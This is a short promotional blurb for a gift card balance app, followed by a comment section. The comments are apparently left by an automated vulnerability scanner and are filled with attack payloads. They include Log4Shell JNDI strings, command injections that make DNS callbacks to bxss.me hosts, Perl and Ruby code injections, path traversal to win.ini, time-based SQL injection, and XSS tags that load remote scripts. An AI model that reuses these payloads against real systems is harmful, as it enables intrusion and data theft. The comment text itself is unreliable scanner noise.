We are revamping our [Gift Card Balance] app to support more platform and devices.

Balance check is our focus and we will do our best to make the process simpler and smarter.

Comment

${j${::-n}di:dns${::-:}//hitlvklbdyfvy94f45${::-.}bxss.me}zzzz

555

${j${::-n}di:dns${::-:}//hitlvklbdyfvy94f45${::-.}bxss.me}zzzz
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitgzrvynexgn4c067${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

555

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitgzrvynexgn4c067${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-9633..4d9dd${::-.}1${::-.}bxss.me}}

555

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-9633..4d9dd${::-.}1${::-.}bxss.me}}
OPXXUZJg

${j${::-n}di:dns${::-:}//hitvzenpsbtcwf9258${::-.}bxss.me}zzzz

OPXXUZJg
OPXXUZJg

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitjqpozfvlnt7cf3a${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

OPXXUZJg
echo ajmfel$()\ mihbai\nz^xyu||a #' &echo ajmfel$()\ mihbai\nz^xyu||a #|" &echo ajmfel$()\ mihbai\nz^xyu||a #

555

echo ajmfel$()\ mihbai\nz^xyu||a #' &echo ajmfel$()\ mihbai\nz^xyu||a #|" &echo ajmfel$()\ mihbai\nz^xyu||a #
&echo egxqjl$()\ txjaur\nz^xyu||a #' &echo egxqjl$()\ txjaur\nz^xyu||a #|" &echo egxqjl$()\ txjaur\nz^xyu||a #

555

&echo egxqjl$()\ txjaur\nz^xyu||a #' &echo egxqjl$()\ txjaur\nz^xyu||a #|" &echo egxqjl$()\ txjaur\nz^xyu||a #
OPXXUZJg

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-9634..4d9dd${::-.}1${::-.}bxss.me}}

OPXXUZJg
|echo wzoiho$()\ ncinzr\nz^xyu||a #' |echo wzoiho$()\ ncinzr\nz^xyu||a #|" |echo wzoiho$()\ ncinzr\nz^xyu||a #

555

|echo wzoiho$()\ ncinzr\nz^xyu||a #' |echo wzoiho$()\ ncinzr\nz^xyu||a #|" |echo wzoiho$()\ ncinzr\nz^xyu||a #
(nslookup hitivycbydjuc8ddb3.bxss.me||perl -e "gethostbyname('hitivycbydjuc8ddb3.bxss.me')")

555

(nslookup hitivycbydjuc8ddb3.bxss.me||perl -e "gethostbyname('hitivycbydjuc8ddb3.bxss.me')")
OPXXUZJg

../../../../../../../../../../../../../../windows/win.ini

OPXXUZJg
$(nslookup hitoesfmibwxa4a8bb.bxss.me||perl -e "gethostbyname('hitoesfmibwxa4a8bb.bxss.me')")

555

$(nslookup hitoesfmibwxa4a8bb.bxss.me||perl -e "gethostbyname('hitoesfmibwxa4a8bb.bxss.me')")
&(nslookup hitjyksbfnoey48e97.bxss.me||perl -e "gethostbyname('hitjyksbfnoey48e97.bxss.me')")&'\"`0&(nslookup hitjyksbfnoey48e97.bxss.me||perl -e "gethostbyname('hitjyksbfnoey48e97.bxss.me')")&`'

555

&(nslookup hitjyksbfnoey48e97.bxss.me||perl -e "gethostbyname('hitjyksbfnoey48e97.bxss.me')")&'\"`0&(nslookup hitjyksbfnoey48e97.bxss.me||perl -e "gethostbyname('hitjyksbfnoey48e97.bxss.me')")&`'
|(nslookup hitswvuyczspg42578.bxss.me||perl -e "gethostbyname('hitswvuyczspg42578.bxss.me')")

555

|(nslookup hitswvuyczspg42578.bxss.me||perl -e "gethostbyname('hitswvuyczspg42578.bxss.me')")
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
'.gethostbyname(lc('hitns'.'mlssatxh574c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(73).chr(104).chr(72).'

555

'.gethostbyname(lc('hitns'.'mlssatxh574c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(73).chr(104).chr(72).'
`(nslookup hitwvaslflulh61e8f.bxss.me||perl -e "gethostbyname('hitwvaslflulh61e8f.bxss.me')")`

555

`(nslookup hitwvaslflulh61e8f.bxss.me||perl -e "gethostbyname('hitwvaslflulh61e8f.bxss.me')")`
".gethostbyname(lc("hiteq"."torbjoute84ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(77).chr(120).chr(66)."

555

".gethostbyname(lc("hiteq"."torbjoute84ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(77).chr(120).chr(66)."
;(nslookup hitruiqgtjbgv61f65.bxss.me||perl -e "gethostbyname('hitruiqgtjbgv61f65.bxss.me')")|(nslookup hitruiqgtjbgv61f65.bxss.me||perl -e "gethostbyname('hitruiqgtjbgv61f65.bxss.me')")&(nslookup hitruiqgtjbgv61f65.bxss.me||perl -e "gethostbyname('hitruiqgtjbgv61f65.bxss.me')")

555

;(nslookup hitruiqgtjbgv61f65.bxss.me||perl -e "gethostbyname('hitruiqgtjbgv61f65.bxss.me')")|(nslookup hitruiqgtjbgv61f65.bxss.me||perl -e "gethostbyname('hitruiqgtjbgv61f65.bxss.me')")&(nslookup hitruiqgtjbgv61f65.bxss.me||perl -e "gethostbyname('hitruiqgtjbgv61f65.bxss.me')")
OPXXUZJg

'.gethostbyname(lc('hitoa'.'gqshthaq7148e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(85).chr(111).chr(69).'

OPXXUZJg
OPXXUZJg

echo vmecfz$()\ muuccn\nz^xyu||a #' &echo vmecfz$()\ muuccn\nz^xyu||a #|" &echo vmecfz$()\ muuccn\nz^xyu||a #

OPXXUZJg
OPXXUZJg

".gethostbyname(lc("hitoc"."mfqcguzseaeba.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(67).chr(122).chr(85)."

OPXXUZJg
OPXXUZJg

&echo bszthc$()\ kwmtnz\nz^xyu||a #' &echo bszthc$()\ kwmtnz\nz^xyu||a #|" &echo bszthc$()\ kwmtnz\nz^xyu||a #

OPXXUZJg
OPXXUZJg

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

OPXXUZJg
"+"A".concat(70-3).concat(22*4).concat(120).concat(85).concat(117).concat(66)+(require"socket"
Socket.gethostbyname("hitil"+"tdsidxxm0d2f7.bxss.me.")[3].to_s)+"

555

"+"A".concat(70-3).concat(22*4).concat(120).concat(85).concat(117).concat(66)+(require"socket" Socket.gethostbyname("hitil"+"tdsidxxm0d2f7.bxss.me.")[3].to_s)+"
OPXXUZJg

|echo nsxmgc$()\ oqxovp\nz^xyu||a #' |echo nsxmgc$()\ oqxovp\nz^xyu||a #|" |echo nsxmgc$()\ oqxovp\nz^xyu||a #

OPXXUZJg
'+'A'.concat(70-3).concat(22*4).concat(120).concat(83).concat(119).concat(90)+(require'socket'
Socket.gethostbyname('hitrv'+'gtyubgfh3ef40.bxss.me.')[3].to_s)+'

555

'+'A'.concat(70-3).concat(22*4).concat(120).concat(83).concat(119).concat(90)+(require'socket' Socket.gethostbyname('hitrv'+'gtyubgfh3ef40.bxss.me.')[3].to_s)+'
OPXXUZJg

(nslookup hitlsqmevzkub5b761.bxss.me||perl -e "gethostbyname('hitlsqmevzkub5b761.bxss.me')")

OPXXUZJg
OPXXUZJg

"+"A".concat(70-3).concat(22*4).concat(105).concat(71).concat(108).concat(77)+(require"socket" Socket.gethostbyname("hitdf"+"ozlympbnb2747.bxss.me.")[3].to_s)+"

OPXXUZJg
OPXXUZJg

$(nslookup hitezsradutnk640a2.bxss.me||perl -e "gethostbyname('hitezsradutnk640a2.bxss.me')")

OPXXUZJg
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
OPXXUZJg

'+'A'.concat(70-3).concat(22*4).concat(113).concat(87).concat(99).concat(74)+(require'socket' Socket.gethostbyname('hitwn'+'vsrkwarne5290.bxss.me.')[3].to_s)+'

OPXXUZJg
OPXXUZJg

&(nslookup hitzazmixweqoa0321.bxss.me||perl -e "gethostbyname('hitzazmixweqoa0321.bxss.me')")&'\"`0&(nslookup hitzazmixweqoa0321.bxss.me||perl -e "gethostbyname('hitzazmixweqoa0321.bxss.me')")&`'

OPXXUZJg
OPXXUZJg

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

OPXXUZJg
OPXXUZJg

|(nslookup hitkcruabhxrh52aea.bxss.me||perl -e "gethostbyname('hitkcruabhxrh52aea.bxss.me')")

OPXXUZJg
OPXXUZJg

`(nslookup hitynxbpivtei7b00b.bxss.me||perl -e "gethostbyname('hitynxbpivtei7b00b.bxss.me')")`

OPXXUZJg
OPXXUZJg

;(nslookup hitgkgsebiwbg5dfaf.bxss.me||perl -e "gethostbyname('hitgkgsebiwbg5dfaf.bxss.me')")|(nslookup hitgkgsebiwbg5dfaf.bxss.me||perl -e "gethostbyname('hitgkgsebiwbg5dfaf.bxss.me')")&(nslookup hitgkgsebiwbg5dfaf.bxss.me||perl -e "gethostbyname('hitgkgsebiwbg5dfaf.bxss.me')")

OPXXUZJg
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
%4F%50%58%58%55%5A%4A%67%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%54%64%4A%50%28%39%38%38%32%34%29%22

555

%4F%50%58%58%55%5A%4A%67%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%54%64%4A%50%28%39%38%38%32%34%29%22
OPXXUZJg<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9668></ScRiPt>

555

OPXXUZJg<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9668></ScRiPt>
OPXXUZJg<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9219'>

555

OPXXUZJg<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9219'>
OPXXUZJg'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

OPXXUZJg'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
%4F%50%58%58%55%5A%4A%67%3C%53%63%52%69%50%74%20%3E%54%64%4A%50%289812%29%3C%2F%73%43%72%69%70%54%3E

555

%4F%50%58%58%55%5A%4A%67%3C%53%63%52%69%50%74%20%3E%54%64%4A%50%289812%29%3C%2F%73%43%72%69%70%54%3E
OPXXUZJg

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

OPXXUZJg
OPXXUZJg

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9648></ScRiPt>

OPXXUZJg
OPXXUZJg

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9400'>

OPXXUZJg
OPXXUZJg

%35%35%35%3C%53%63%52%69%50%74%20%3E%54%64%4A%50%289930%29%3C%2F%73%43%72%69%70%54%3E

OPXXUZJg
OPXXUZJg

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

OPXXUZJg
OPXXUZJg

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

OPXXUZJg

Post a comment